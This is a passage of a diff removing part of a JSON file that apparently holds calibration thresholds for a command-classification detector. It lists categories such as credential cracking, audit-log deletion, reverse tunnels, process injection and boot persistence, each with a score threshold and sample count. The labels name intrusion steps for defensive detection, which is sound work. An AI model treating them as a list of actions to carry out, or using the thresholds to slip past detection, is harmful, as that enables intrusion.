-      "tp_p50": 0.7795,
-      "tp_samples": 113
-    },
-    "capture_network_packets": {
-      "threshold": 0.6213,
-      "tp_p50": 0.8106,
-      "tp_samples": 283
-    },
-    "capture_process_memory": {
-      "threshold": 0.7009,
-      "tp_p50": 0.802,
-      "tp_samples": 146
-    },
-    "capture_process_state": {
-      "threshold": 0.6364,
-      "tp_p50": 0.7099,
-      "tp_samples": 227
-    },
-    "change_file_ownership": {
-      "threshold": 0.6687,
-      "tp_p50": 0.8016,
-      "tp_samples": 184
-    },
-    "change_password": {
-      "threshold": 0.6503,
-      "tp_p50": 0.7162,
-      "tp_samples": 134
-    },
-    "clear_login_history": {
-      "threshold": 0.692,
-      "tp_p50": 0.7781,
-      "tp_samples": 106
-    },
-    "clear_shell_history": {
-      "threshold": 0.6478,
-      "tp_p50": 0.7663,
-      "tp_samples": 132
-    },
-    "clone_source_repository": {
-      "threshold": 0.6837,
-      "tp_p50": 0.8069,
-      "tp_samples": 130
-    },
-    "compress_data": {
-      "threshold": 0.5834,
-      "tp_p50": 0.6926,
-      "tp_samples": 430
-    },
-    "configure_cloud_cli": {
-      "threshold": 0.657,
-      "tp_p50": 0.7533,
-      "tp_samples": 127
-    },
-    "connect_cloud_database": {
-      "threshold": 0.7249,
-      "tp_p50": 0.8119,
-      "tp_samples": 109
-    },
-    "connect_external_service": {
-      "threshold": 0.5224,
-      "tp_p50": 0.6528,
-      "tp_samples": 400
-    },
-    "connect_internal_service": {
-      "threshold": 0.5129,
-      "tp_p50": 0.6238,
-      "tp_samples": 868
-    },
-    "connect_local_service": {
-      "threshold": 0.5749,
-      "tp_p50": 0.6629,
-      "tp_samples": 173
-    },
-    "connect_mail_server": {
-      "threshold": 0.6892,
-      "tp_p50": 0.7791,
-      "tp_samples": 124
-    },
-    "consume_message": {
-      "threshold": 0.6451,
-      "tp_p50": 0.7776,
-      "tp_samples": 164
-    },
-    "crack_credential_material": {
-      "threshold": 0.6732,
-      "tp_p50": 0.7608,
-      "tp_samples": 113
-    },
-    "create_access_token": {
-      "threshold": 0.5892,
-      "tp_p50": 0.6797,
-      "tp_samples": 203
-    },
-    "create_archive": {
-      "threshold": 0.4903,
-      "tp_p50": 0.5582,
-      "tp_samples": 1240
-    },
-    "create_cloud_access_key": {
-      "threshold": 0.6997,
-      "tp_p50": 0.8081,
-      "tp_samples": 143
-    },
-    "create_cloud_compute": {
-      "threshold": 0.76,
-      "tp_p50": 0.8079,
-      "tp_samples": 109
-    },
-    "create_cloud_identity": {
-      "threshold": 0.6934,
-      "tp_p50": 0.8043,
-      "tp_samples": 125
-    },
-    "create_cloud_resource": {
-      "threshold": 0.6841,
-      "tp_p50": 0.7385,
-      "tp_samples": 102
-    },
-    "create_cluster_identity": {
-      "threshold": 0.7239,
-      "tp_p50": 0.7737,
-      "tp_samples": 119
-    },
-    "create_cluster_secret": {
-      "threshold": 0.6945,
-      "tp_p50": 0.8116,
-      "tp_samples": 140
-    },
-    "create_container_pod": {
-      "threshold": 0.5728,
-      "tp_p50": 0.6787,
-      "tp_samples": 238
-    },
-    "create_credential_material": {
-      "threshold": 0.5511,
-      "tp_p50": 0.6301,
-      "tp_samples": 504
-    },
-    "create_database": {
-      "threshold": 0.7242,
-      "tp_p50": 0.8347,
-      "tp_samples": 116
-    },
-    "create_dynamic_proxy": {
-      "threshold": 0.6547,
-      "tp_p50": 0.8056,
-      "tp_samples": 130
-    },
-    "create_forward_tunnel": {
-      "threshold": 0.6512,
-      "tp_p50": 0.7743,
-      "tp_samples": 213
-    },
-    "create_local_kubernetes_cluster": {
-      "threshold": 0.7144,
-      "tp_p50": 0.7761,
-      "tp_samples": 127
-    },
-    "create_multiplexer_session": {
-      "threshold": 0.6507,
-      "tp_p50": 0.7863,
-      "tp_samples": 115
-    },
-    "create_privileged_container": {
-      "threshold": 0.5842,
-      "tp_p50": 0.6388,
-      "tp_samples": 136
-    },
-    "create_reverse_tunnel": {
-      "threshold": 0.6474,
-      "tp_p50": 0.7795,
-      "tp_samples": 195
-    },
-    "create_scheduled_task": {
-      "threshold": 0.6437,
-      "tp_p50": 0.7858,
-      "tp_samples": 435
-    },
-    "create_special_filesystem_node": {
-      "threshold": 0.6502,
-      "tp_p50": 0.7319,
-      "tp_samples": 127
-    },
-    "create_ssh_key": {
-      "threshold": 0.6914,
-      "tp_p50": 0.7923,
-      "tp_samples": 125
-    },
-    "create_startup_script": {
-      "threshold": 0.6812,
-      "tp_p50": 0.7888,
-      "tp_samples": 108
-    },
-    "create_systemd_unit": {
-      "threshold": 0.6508,
-      "tp_p50": 0.8192,
-      "tp_samples": 242
-    },
-    "create_user": {
-      "threshold": 0.6809,
-      "tp_p50": 0.8211,
-      "tp_samples": 167
-    },
-    "decode_data": {
-      "threshold": 0.5974,
-      "tp_p50": 0.6861,
-      "tp_samples": 194
-    },
-    "decrease_file_permission": {
-      "threshold": 0.6328,
-      "tp_p50": 0.8114,
-      "tp_samples": 134
-    },
-    "decrypt_data": {
-      "threshold": 0.6147,
-      "tp_p50": 0.7404,
-      "tp_samples": 142
-    },
-    "delete_audit_log": {
-      "threshold": 0.6353,
-      "tp_p50": 0.7633,
-      "tp_samples": 179
-    },
-    "delete_business_log": {
-      "threshold": 0.73,
-      "tp_p50": 0.8098,
-      "tp_samples": 132
-    },
-    "delete_cloud_identity": {
-      "threshold": 0.7894,
-      "tp_p50": 0.8372,
-      "tp_samples": 103
-    },
-    "delete_cloud_resource": {
-      "threshold": 0.7485,
-      "tp_p50": 0.794,
-      "tp_samples": 104
-    },
-    "delete_cluster_secret": {
-      "threshold": 0.789,
-      "tp_p50": 0.8464,
-      "tp_samples": 133
-    },
-    "delete_container": {
-      "threshold": 0.6874,
-      "tp_p50": 0.8464,
-      "tp_samples": 117
-    },
-    "delete_container_image": {
-      "threshold": 0.7256,
-      "tp_p50": 0.7917,
-      "tp_samples": 110
-    },
-    "delete_credential_material": {
-      "threshold": 0.6564,
-      "tp_p50": 0.7905,
-      "tp_samples": 349
-    },
-    "delete_database": {
-      "threshold": 0.6837,
-      "tp_p50": 0.7965,
-      "tp_samples": 118
-    },
-    "delete_database_data": {
-      "threshold": 0.6273,
-      "tp_p50": 0.7763,
-      "tp_samples": 140
-    },
-    "delete_infrastructure_log": {
-      "threshold": 0.6904,
-      "tp_p50": 0.8135,
-      "tp_samples": 219
-    },
-    "delete_local_kubernetes_cluster": {
-      "threshold": 0.7161,
-      "tp_p50": 0.815,
-      "tp_samples": 114
-    },
-    "delete_object_storage": {
-      "threshold": 0.7169,
-      "tp_p50": 0.8125,
-      "tp_samples": 134
-    },
-    "delete_scheduled_task": {
-      "threshold": 0.7464,
-      "tp_p50": 0.8187,
-      "tp_samples": 147
-    },
-    "delete_secret_store": {
-      "threshold": 0.7269,
-      "tp_p50": 0.7851,
-      "tp_samples": 108
-    },
-    "delete_source_code": {
-      "threshold": 0.691,
-      "tp_p50": 0.7612,
-      "tp_samples": 113
-    },
-    "delete_system_log": {
-      "threshold": 0.6467,
-      "tp_p50": 0.8135,
-      "tp_samples": 245
-    },
-    "delete_systemd_unit": {
-      "threshold": 0.7714,
-      "tp_p50": 0.8278,
-      "tp_samples": 107
-    },
-    "delete_user": {
-      "threshold": 0.7637,
-      "tp_p50": 0.8657,
-      "tp_samples": 109
-    },
-    "deploy_cloud_template": {
-      "threshold": 0.7584,
-      "tp_p50": 0.7903,
-      "tp_samples": 108
-    },
-    "destroy_infrastructure_template": {
-      "threshold": 0.7483,
-      "tp_p50": 0.8196,
-      "tp_samples": 119
-    },
-    "disable_service": {
-      "threshold": 0.6817,
-      "tp_p50": 0.8133,
-      "tp_samples": 130
-    },
-    "download_executable": {
-      "threshold": 0.5748,
-      "tp_p50": 0.6657,
-      "tp_samples": 213
-    },
-    "download_external_content": {
-      "threshold": 0.4931,
-      "tp_p50": 0.6022,
-      "tp_samples": 711
-    },
-    "download_internal_content": {
-      "threshold": 0.5448,
-      "tp_p50": 0.6474,
-      "tp_samples": 431
-    },
-    "download_local_content": {
-      "threshold": 0.6659,
-      "tp_p50": 0.7478,
-      "tp_samples": 104
-    },
-    "download_named_content": {
-      "threshold": 0.5718,
-      "tp_p50": 0.6736,
-      "tp_samples": 162
-    },
-    "download_object_storage": {
-      "threshold": 0.6075,
-      "tp_p50": 0.6665,
-      "tp_samples": 218
-    },
-    "download_script": {
-      "threshold": 0.5612,
-      "tp_p50": 0.6822,
-      "tp_samples": 363
-    },
-    "enable_service": {
-      "threshold": 0.6228,
-      "tp_p50": 0.8019,
-      "tp_samples": 268
-    },
-    "encode_data": {
-      "threshold": 0.6378,
-      "tp_p50": 0.7107,
-      "tp_samples": 118
-    },
-    "encrypt_data": {
-      "threshold": 0.5854,
-      "tp_p50": 0.6496,
-      "tp_samples": 173
-    },
-    "enumerate_cloud_accounts": {
-      "threshold": 0.7469,
-      "tp_p50": 0.8039,
-      "tp_samples": 132
-    },
-    "enumerate_cloud_identity": {
-      "threshold": 0.7273,
-      "tp_p50": 0.8196,
-      "tp_samples": 160
-    },
-    "enumerate_cloud_resources": {
-      "threshold": 0.6883,
-      "tp_p50": 0.7806,
-      "tp_samples": 172
-    },
-    "enumerate_cloud_secrets": {
-      "threshold": 0.7336,
-      "tp_p50": 0.8529,
-      "tp_samples": 120
-    },
-    "enumerate_cluster_resources": {
-      "threshold": 0.6408,
-      "tp_p50": 0.7959,
-      "tp_samples": 528
-    },
-    "enumerate_cluster_secrets": {
-      "threshold": 0.6719,
-      "tp_p50": 0.8149,
-      "tp_samples": 166
-    },
-    "enumerate_container_images": {
-      "threshold": 0.6911,
-      "tp_p50": 0.7858,
-      "tp_samples": 117
-    },
-    "enumerate_containers": {
-      "threshold": 0.6307,
-      "tp_p50": 0.8009,
-      "tp_samples": 183
-    },
-    "enumerate_database_schema": {
-      "threshold": 0.6795,
-      "tp_p50": 0.7982,
-      "tp_samples": 450
-    },
-    "enumerate_filesystem": {
-      "threshold": 0.5685,
-      "tp_p50": 0.7079,
-      "tp_samples": 1303
-    },
-    "enumerate_kernel_modules": {
-      "threshold": 0.7595,
-      "tp_p50": 0.825,
-      "tp_samples": 110
-    },
-    "enumerate_listeners": {
-      "threshold": 0.6619,
-      "tp_p50": 0.7691,
-      "tp_samples": 193
-    },
-    "enumerate_logged_in_users": {
-      "threshold": 0.7132,
-      "tp_p50": 0.7871,
-      "tp_samples": 110
-    },
-    "enumerate_network_connections": {
-      "threshold": 0.6908,
-      "tp_p50": 0.7941,
-      "tp_samples": 263
-    },
-    "enumerate_object_storage": {
-      "threshold": 0.7243,
-      "tp_p50": 0.8205,
-      "tp_samples": 290
-    },
-    "enumerate_open_files": {
-      "threshold": 0.6981,
-      "tp_p50": 0.7901,
-      "tp_samples": 160
-    },
-    "enumerate_packages": {
-      "threshold": 0.6189,
-      "tp_p50": 0.783,
-      "tp_samples": 677
-    },
-    "enumerate_processes": {
-      "threshold": 0.5937,
-      "tp_p50": 0.776,
-      "tp_samples": 979
-    },
-    "enumerate_scheduled_tasks": {
-      "threshold": 0.7378,
-      "tp_p50": 0.8023,
-      "tp_samples": 152
-    },
-    "enumerate_services": {
-      "threshold": 0.7177,
-      "tp_p50": 0.8071,
-      "tp_samples": 100
-    },
-    "enumerate_users": {
-      "threshold": 0.6327,
-      "tp_p50": 0.7307,
-      "tp_samples": 123
-    },
-    "enumerate_workloads": {
-      "threshold": 0.6822,
-      "tp_p50": 0.7614,
-      "tp_samples": 66
-    },
-    "execute_cloud_compute": {
-      "threshold": 0.6317,
-      "tp_p50": 0.6851,
-      "tp_samples": 133
-    },
-    "execute_detached_process": {
-      "threshold": 0.5426,
-      "tp_p50": 0.6384,
-      "tp_samples": 464
-    },
-    "execute_downloaded_content": {
-      "threshold": 0.5087,
-      "tp_p50": 0.6003,
-      "tp_samples": 422
-    },
-    "execute_encoded_command": {
-      "threshold": 0.6755,
-      "tp_p50": 0.7586,
-      "tp_samples": 110
-    },
-    "execute_from_temporary_path": {
-      "threshold": 0.5086,
-      "tp_p50": 0.6274,
-      "tp_samples": 927
-    },
-    "execute_from_user_writable_path": {
-      "threshold": 0.5868,
-      "tp_p50": 0.6874,
-      "tp_samples": 140
-    },
-    "execute_in_chroot": {
-      "threshold": 0.5636,
-      "tp_p50": 0.6283,
-      "tp_samples": 206
-    },
-    "execute_in_container": {
-      "threshold": 0.5318,
-      "tp_p50": 0.6008,
-      "tp_samples": 437
-    },
-    "execute_in_workload": {
-      "threshold": 0.5627,
-      "tp_p50": 0.6586,
-      "tp_samples": 363
-    },
-    "execute_package_hook": {
-      "threshold": 0.6658,
-      "tp_p50": 0.7576,
-      "tp_samples": 125
-    },
-    "execute_remote_command": {
-      "threshold": 0.4979,
-      "tp_p50": 0.5971,
-      "tp_samples": 1374
-    },
-    "execute_scheduled_task": {
-      "threshold": 0.6857,
-      "tp_p50": 0.7771,
-      "tp_samples": 125
-    },
-    "execute_via_dynamic_loader": {
-      "threshold": 0.6875,
-      "tp_p50": 0.7607,
-      "tp_samples": 126
-    },
-    "execute_with_changed_identity": {
-      "threshold": 0.5693,
-      "tp_p50": 0.6263,
-      "tp_samples": 187
-    },
-    "export_cluster_config": {
-      "threshold": 0.6523,
-      "tp_p50": 0.7264,
-      "tp_samples": 123
-    },
-    "export_cluster_resources": {
-      "threshold": 0.6604,
-      "tp_p50": 0.7899,
-      "tp_samples": 113
-    },
-    "export_database_dump": {
-      "threshold": 0.588,
-      "tp_p50": 0.7732,
-      "tp_samples": 856
-    },
-    "export_ssh_key": {
-      "threshold": 0.6655,
-      "tp_p50": 0.7379,
-      "tp_samples": 117
-    },
-    "extract_archive": {
-      "threshold": 0.5768,
-      "tp_p50": 0.6592,
-      "tp_samples": 223
-    },
-    "fetch_remote_certificate": {
-      "threshold": 0.6344,
-      "tp_p50": 0.6968,
-      "tp_samples": 178
-    },
-    "fetch_remote_mail": {
-      "threshold": 0.7509,
-      "tp_p50": 0.7796,
-      "tp_samples": 110
-    },
-    "flush_cache_data": {
-      "threshold": 0.6307,
-      "tp_p50": 0.7261,
-      "tp_samples": 129
-    },
-    "format_filesystem": {
-      "threshold": 0.7579,
-      "tp_p50": 0.8166,
-      "tp_samples": 153
-    },
-    "generate_artifact_digest": {
-      "threshold": 0.6133,
-      "tp_p50": 0.7441,
-      "tp_samples": 506
-    },
-    "grant_cloud_privilege": {
-      "threshold": 0.6825,
-      "tp_p50": 0.7921,
-      "tp_samples": 165
-    },
-    "grant_cluster_privilege": {
-      "threshold": 0.7027,
-      "tp_p50": 0.8091,
-      "tp_samples": 162
-    },
-    "grant_database_privilege": {
-      "threshold": 0.7207,
-      "tp_p50": 0.8461,
-      "tp_samples": 133
-    },
-    "grant_infrastructure_privilege": {
-      "threshold": 0.6554,
-      "tp_p50": 0.73,
-      "tp_samples": 116
-    },
-    "grant_user_privilege": {
-      "threshold": 0.6376,
-      "tp_p50": 0.7965,
-      "tp_samples": 153
-    },
-    "import_database_dump": {
-      "threshold": 0.6219,
-      "tp_p50": 0.7356,
-      "tp_samples": 253
-    },
-    "import_ssh_key": {
-      "threshold": 0.7656,
-      "tp_p50": 0.789,
-      "tp_samples": 118
-    },
-    "increase_file_permission": {
-      "threshold": 0.5329,
-      "tp_p50": 0.6577,
-      "tp_samples": 529
-    },
-    "initialize_infrastructure_template": {
-      "threshold": 0.6989,
-      "tp_p50": 0.7703,
-      "tp_samples": 116
-    },
-    "inject_process_code": {
-      "threshold": 0.6645,
-      "tp_p50": 0.7444,
-      "tp_samples": 105
-    },
-    "inspect_audit_policy": {
-      "threshold": 0.6796,
-      "tp_p50": 0.8039,
-      "tp_samples": 118
-    },
-    "inspect_auth_policy": {
-      "threshold": 0.6704,
-      "tp_p50": 0.7663,
-      "tp_samples": 190
-    },
-    "inspect_container_image": {
-      "threshold": 0.6885,
-      "tp_p50": 0.7663,
-      "tp_samples": 229
-    },
-    "inspect_container_runtime": {
-      "threshold": 0.6332,
-      "tp_p50": 0.743,
-      "tp_samples": 249
-    },
-    "inspect_current_identity": {
-      "threshold": 0.5551,
-      "tp_p50": 0.6526,
-      "tp_samples": 500
-    },
-    "inspect_current_privileges": {
-      "threshold": 0.6355,
-      "tp_p50": 0.748,
-      "tp_samples": 119
-    },
-    "inspect_ebpf_program": {
-      "threshold": 0.7264,
-      "tp_p50": 0.8048,
-      "tp_samples": 121
-    },
-    "inspect_file_metadata": {
-      "threshold": 0.5939,
-      "tp_p50": 0.7559,
-      "tp_samples": 1368
-    },
-    "inspect_firewall_policy": {
-      "threshold": 0.7129,
-      "tp_p50": 0.8216,
-      "tp_samples": 447
-    },
-    "inspect_infrastructure_service": {
-      "threshold": 0.572,
-      "tp_p50": 0.7226,
-      "tp_samples": 1301
-    },
-    "inspect_kernel_module": {
-      "threshold": 0.7201,
-      "tp_p50": 0.8277,
-      "tp_samples": 117
-    },
-    "inspect_local_kubernetes_cluster": {
-      "threshold": 0.7001,
-      "tp_p50": 0.7735,
-      "tp_samples": 102
-    },
-    "inspect_mail_queue": {
-      "threshold": 0.7124,
-      "tp_p50": 0.7646,
-      "tp_samples": 114
-    },
-    "inspect_network_state": {
-      "threshold": 0.7274,
-      "tp_p50": 0.8479,
-      "tp_samples": 955
-    },
-    "inspect_process_runtime_attributes": {
-      "threshold": 0.6744,
-      "tp_p50": 0.7603,
-      "tp_samples": 365
-    },
-    "inspect_service": {
-      "threshold": 0.6139,
-      "tp_p50": 0.7854,
-      "tp_samples": 685
-    },
-    "inspect_storage_state": {
-      "threshold": 0.6111,
-      "tp_p50": 0.7925,
-      "tp_samples": 1272
-    },
-    "inspect_system_state": {
-      "threshold": 0.5595,
-      "tp_p50": 0.7152,
-      "tp_samples": 1289
-    },
-    "inspect_workload": {
-      "threshold": 0.6707,
-      "tp_p50": 0.7906,
-      "tp_samples": 456
-    },
-    "install_boot_persistence": {
-      "threshold": 0.6708,
-      "tp_p50": 0.7624,
-      "tp_samples": 103
-    },
-    "install_package": {
-      "threshold": 0.5951,
-      "tp_p50": 0.7734,
-      "tp_samples": 751
-    },
-    "listen_local_port": {
-      "threshold": 0.6455,
-      "tp_p50": 0.6996,
-      "tp_samples": 130
-    },
-    "listen_network_port": {
-      "threshold": 0.5917,
-      "tp_p50": 0.6887,
-      "tp_samples": 364
-    },
-    "load_ebpf_program": {
-      "threshold": 0.6753,
-      "tp_p50": 0.7496,
-      "tp_samples": 161
-    },
-    "load_kernel_module": {
-      "threshold": 0.6787,
-      "tp_p50": 0.8112,
-      "tp_samples": 133
-    },
-    "manage_data_processing_job": {
-      "threshold": 0.5769,
-      "tp_p50": 0.6949,
-      "tp_samples": 961
-    },
-    "manage_database_backup": {
-      "threshold": 0.5461,
-      "tp_p50": 0.6699,
-      "tp_samples": 535
-    },
-    "manage_infrastructure_backup": {
-      "threshold": 0.5567,
-      "tp_p50": 0.6702,
-      "tp_samples": 628
-    },
-    "manage_snapshot": {
-      "threshold": 0.633,
-      "tp_p50": 0.7265,
-      "tp_samples": 171
-    },
-    "manage_virtual_machine": {
-      "threshold": 0.6352,
-      "tp_p50": 0.721,
-      "tp_samples": 177
-    },
-    "manage_vpn_connection": {
-      "threshold": 0.6876,
-      "tp_p50": 0.7393,
-      "tp_samples": 129
-    },
-    "modify_audit_policy": {
-      "threshold": 0.673,
-      "tp_p50": 0.7862,
-      "tp_samples": 139
-    },
-    "modify_auth_policy": {
-      "threshold": 0.6065,
-      "tp_p50": 0.712,
-      "tp_samples": 143
-    },
-    "modify_bootloader": {
-      "threshold": 0.6558,
-      "tp_p50": 0.7349,
-      "tp_samples": 113
-    },
-    "modify_business_config": {
-      "threshold": 0.6255,
-      "tp_p50": 0.7282,
-      "tp_samples": 93
-    },
-    "modify_cache_data": {
-      "threshold": 0.6291,
-      "tp_p50": 0.7223,
-      "tp_samples": 91
-    },
-    "modify_cloud_firewall": {
-      "threshold": 0.7522,
-      "tp_p50": 0.7984,
-      "tp_samples": 135
-    },
-    "modify_cloud_identity": {
-      "threshold": 0.7157,
-      "tp_p50": 0.7793,
-      "tp_samples": 100
-    },
-    "modify_cloud_identity_policy": {
-      "threshold": 0.7051,
-      "tp_p50": 0.7559,
-      "tp_samples": 115
-    },
-    "modify_cloud_resource": {
-      "threshold": 0.6439,
-      "tp_p50": 0.727,
-      "tp_samples": 129
-    },
-    "modify_cloud_secret": {
-      "threshold": 0.7041,
-      "tp_p50": 0.7499,
-      "tp_samples": 129
-    },
-    "modify_cluster_auth_policy": {
-      "threshold": 0.6812,
-      "tp_p50": 0.7617,
-      "tp_samples": 243
-    },
-    "modify_cluster_secret": {
-      "threshold": 0.7642,
-      "tp_p50": 0.8294,
-      "tp_samples": 144
-    },
-    "modify_container_network": {
-      "threshold": 0.638,
-      "tp_p50": 0.7424,
-      "tp_samples": 118
-    },
-    "modify_container_state": {
-      "threshold": 0.6873,
-      "tp_p50": 0.7834,
-      "tp_samples": 126
-    },
-    "modify_coordination_data": {
-      "threshold": 0.6861,
-      "tp_p50": 0.7466,
-      "tp_samples": 151
-    },
-    "modify_critical_system_path": {
-      "threshold": 0.5731,
-      "tp_p50": 0.6635,
-      "tp_samples": 115
-    },
-    "modify_database_account": {
-      "threshold": 0.6739,
-      "tp_p50": 0.7816,
-      "tp_samples": 126
-    },
-    "modify_database_data": {
-      "threshold": 0.6065,
-      "tp_p50": 0.7645,
-      "tp_samples": 333
-    },
-    "modify_database_replication": {
-      "threshold": 0.6684,
-      "tp_p50": 0.7543,
-      "tp_samples": 123
-    },
-    "modify_database_schema": {
-      "threshold": 0.6628,
-      "tp_p50": 0.7912,
-      "tp_samples": 201
-    },
-    "modify_dns_config": {
-      "threshold": 0.6421,
-      "tp_p50": 0.7378,
-      "tp_samples": 133
-    },
-    "modify_dynamic_loader": {
-      "threshold": 0.7476,
-      "tp_p50": 0.8144,
-      "tp_samples": 110
-    },
-    "modify_file_acl": {
-      "threshold": 0.7438,
-      "tp_p50": 0.8049,
-      "tp_samples": 127
-    },
-    "modify_file_permission": {
-      "threshold": 0.5536,
-      "tp_p50": 0.7175,
-      "tp_samples": 476
-    },
-    "modify_file_timestamp": {
-      "threshold": 0.6799,
-      "tp_p50": 0.7714,
-      "tp_samples": 178
-    },
-    "modify_firewall_policy": {
-      "threshold": 0.7208,
-      "tp_p50": 0.7997,
-      "tp_samples": 582
-    },
-    "modify_group_identity": {
-      "threshold": 0.6993,
-      "tp_p50": 0.7892,
-      "tp_samples": 126
-    },
-    "modify_group_membership": {
-      "threshold": 0.6811,
-      "tp_p50": 0.7655,
-      "tp_samples": 363
-    },
-    "modify_infrastructure_account": {
-      "threshold": 0.6202,
-      "tp_p50": 0.7106,
-      "tp_samples": 153
-    },
-    "modify_infrastructure_config": {
-      "threshold": 0.517,
-      "tp_p50": 0.6848,
-      "tp_samples": 1085
-    },
-    "modify_kernel_memory": {
-      "threshold": 0.7833,
-      "tp_p50": 0.8242,
-      "tp_samples": 100
-    },
-    "modify_kernel_parameter": {
-      "threshold": 0.6275,
-      "tp_p50": 0.7837,
-      "tp_samples": 133
-    },
-    "modify_language_dependency": {
-      "threshold": 0.6477,
-      "tp_p50": 0.7255,
-      "tp_samples": 242
-    },
-    "modify_library_preload": {
-      "threshold": 0.7431,
-      "tp_p50": 0.8485,
-      "tp_samples": 127
-    },
-    "modify_mail_queue": {
-      "threshold": 0.7433,
-      "tp_p50": 0.7864,
-      "tp_samples": 112
-    },
-    "modify_mount_state": {
-      "threshold": 0.6737,
-      "tp_p50": 0.8142,
-      "tp_samples": 192
-    },
-    "modify_object_storage": {
-      "threshold": 0.6752,
-      "tp_p50": 0.7456,
-      "tp_samples": 138
-    },
-    "modify_package_execution_hook": {
-      "threshold": 0.6732,
-      "tp_p50": 0.7588,
-      "tp_samples": 129
-    },
-    "modify_pam_policy": {
-      "threshold": 0.6691,
-      "tp_p50": 0.8023,
-      "tp_samples": 121
-    },
-    "modify_process_memory": {
-      "threshold": 0.689,
-      "tp_p50": 0.779,
-      "tp_samples": 113
-    },
-    "modify_process_runtime_attributes": {
-      "threshold": 0.5753,
-      "tp_p50": 0.6802,
-      "tp_samples": 267
-    },
-    "modify_repository_hook": {
-      "threshold": 0.6592,
-      "tp_p50": 0.7283,
-      "tp_samples": 122
-    },
-    "modify_route": {
-      "threshold": 0.6932,
-      "tp_p50": 0.7889,
-      "tp_samples": 209
-    },
-    "modify_scheduled_task": {
-      "threshold": 0.6497,
-      "tp_p50": 0.7293,
-      "tp_samples": 232
-    },
-    "modify_security_module_policy": {
-      "threshold": 0.6747,
-      "tp_p50": 0.7325,
-      "tp_samples": 114
-    },
-    "modify_service_state": {
-      "threshold": 0.54,
-      "tp_p50": 0.6781,
-      "tp_samples": 1459
-    },
-    "modify_shell_history": {
-      "threshold": 0.6489,
-      "tp_p50": 0.7942,
-      "tp_samples": 121
-    },
-    "modify_shell_startup": {
-      "threshold": 0.6464,
-      "tp_p50": 0.7481,
-      "tp_samples": 112
-    },
-    "modify_source_code": {
-      "threshold": 0.6366,
-      "tp_p50": 0.7607,
-      "tp_samples": 297
-    },
-    "modify_source_repository": {
-      "threshold": 0.6355,
-      "tp_p50": 0.7734,
-      "tp_samples": 241
-    },
-    "modify_ssh_authorization": {
-      "threshold": 0.5857,
-      "tp_p50": 0.691,
-      "tp_samples": 165
-    },
-    "modify_ssh_policy": {
-      "threshold": 0.6132,
-      "tp_p50": 0.7817,
-      "tp_samples": 143
-    },
-    "modify_startup_script": {
-      "threshold": 0.7247,
-      "tp_p50": 0.7841,
-      "tp_samples": 109
-    },
-    "modify_storage_volume": {
-      "threshold": 0.638,
-      "tp_p50": 0.7401,
-      "tp_samples": 337
-    },
-    "modify_sudo_policy": {
-      "threshold": 0.6521,
-      "tp_p50": 0.785,
-      "tp_samples": 155
-    },
-    "modify_swap_state": {
-      "threshold": 0.7065,
-      "tp_p50": 0.8236,
-      "tp_samples": 119
-    },
-    "modify_symlink": {
-      "threshold": 0.6241,
-      "tp_p50": 0.7017,
-      "tp_samples": 162
-    },
-    "modify_system_config": {
-      "threshold": 0.6712,
-      "tp_p50": 0.7702,
-      "tp_samples": 317
-    },
-    "modify_system_time": {
-      "threshold": 0.7395,
-      "tp_p50": 0.8093,
-      "tp_samples": 125
-    },
-    "modify_systemd_unit": {
-      "threshold": 0.6609,
-      "tp_p50": 0.7728,
-      "tp_samples": 111
-    },
-    "modify_trust_store": {
-      "threshold": 0.6749,
-      "tp_p50": 0.7347,
-      "tp_samples": 137
-    },
-    "modify_user_access_state": {
-      "threshold": 0.6771,
-      "tp_p50": 0.7416,
-      "tp_samples": 207
-    },
-    "modify_user_identity": {
-      "threshold": 0.668,
-      "tp_p50": 0.7582,
-      "tp_samples": 105
-    },
-    "modify_verification_material": {
-      "threshold": 0.5682,
-      "tp_p50": 0.6479,
-      "tp_samples": 252
-    },
-    "modify_workload": {
-      "threshold": 0.6247,
-      "tp_p50": 0.7595,
-      "tp_samples": 753
-    },
-    "mount_host_into_container": {
-      "threshold": 0.5725,
-      "tp_p50": 0.6343,
-      "tp_samples": 161
-    },
-    "mount_remote_filesystem": {
-      "threshold": 0.7129,
-      "tp_p50": 0.8175,
-      "tp_samples": 129
-    },
-    "open_data_service_session": {
-      "threshold": 0.6567,
-      "tp_p50": 0.7699,
-      "tp_samples": 231
-    },
-    "perform_dns_zone_transfer": {
-      "threshold": 0.6909,
-      "tp_p50": 0.7905,
-      "tp_samples": 115
-    },
-    "plan_infrastructure_template": {
-      "threshold": 0.6305,
-      "tp_p50": 0.7397,
-      "tp_samples": 440
-    },
-    "port_forward_workload": {
-      "threshold": 0.6883,
-      "tp_p50": 0.8361,
-      "tp_samples": 157
-    },
-    "probe_database_service": {
-      "threshold": 0.6405,
-      "tp_p50": 0.7953,
-      "tp_samples": 415
-    },
-    "probe_multiple_endpoints": {
-      "threshold": 0.6461,
-      "tp_p50": 0.8002,
-      "tp_samples": 197
-    },
-    "probe_multiple_endpoints_multiple_ports": {
-      "threshold": 0.717,
-      "tp_p50": 0.8362,
-      "tp_samples": 272
-    },
-    "probe_multiple_endpoints_single_port": {
-      "threshold": 0.6594,
-      "tp_p50": 0.765,
-      "tp_samples": 191
-    },
-    "probe_remote_access_service": {
-      "threshold": 0.6128,
-      "tp_p50": 0.7295,
-      "tp_samples": 243
-    },
-    "probe_single_endpoint": {
-      "threshold": 0.7619,
-      "tp_p50": 0.8343,
-      "tp_samples": 457
-    },
-    "probe_single_endpoint_multiple_ports": {
-      "threshold": 0.6794,
-      "tp_p50": 0.7742,
-      "tp_samples": 274
-    },
-    "probe_single_endpoint_single_port": {
-      "threshold": 0.6609,
-      "tp_p50": 0.76,
-      "tp_samples": 354
-    },
-    "probe_web_application": {
-      "threshold": 0.6143,
-      "tp_p50": 0.7352,
-      "tp_samples": 598
-    },
-    "publish_message": {
-      "threshold": 0.6201,
-      "tp_p50": 0.7342,
-      "tp_samples": 171
-    },
-    "publish_source_repository": {
-      "threshold": 0.6537,
-      "tp_p50": 0.789,
-      "tp_samples": 121
-    },
-    "query_cache_data": {
-      "threshold": 0.6533,
-      "tp_p50": 0.7578,
-      "tp_samples": 168
-    },
-    "query_cloud_audit": {
-      "threshold": 0.7376,
-      "tp_p50": 0.8044,
-      "tp_samples": 173
-    },
-    "query_cloud_database": {
-      "threshold": 0.781,
-      "tp_p50": 0.8224,
-      "tp_samples": 104
-    },
-    "query_database_data": {
-      "threshold": 0.6365,
-      "tp_p50": 0.7773,
-      "tp_samples": 725
-    },
-    "query_dns_records": {
-      "threshold": 0.7176,
-      "tp_p50": 0.8202,
-      "tp_samples": 695
-    },
-    "query_service_health": {
-      "threshold": 0.5815,
-      "tp_p50": 0.7661,
-      "tp_samples": 1155
-    },
-    "read_auth_audit_log": {
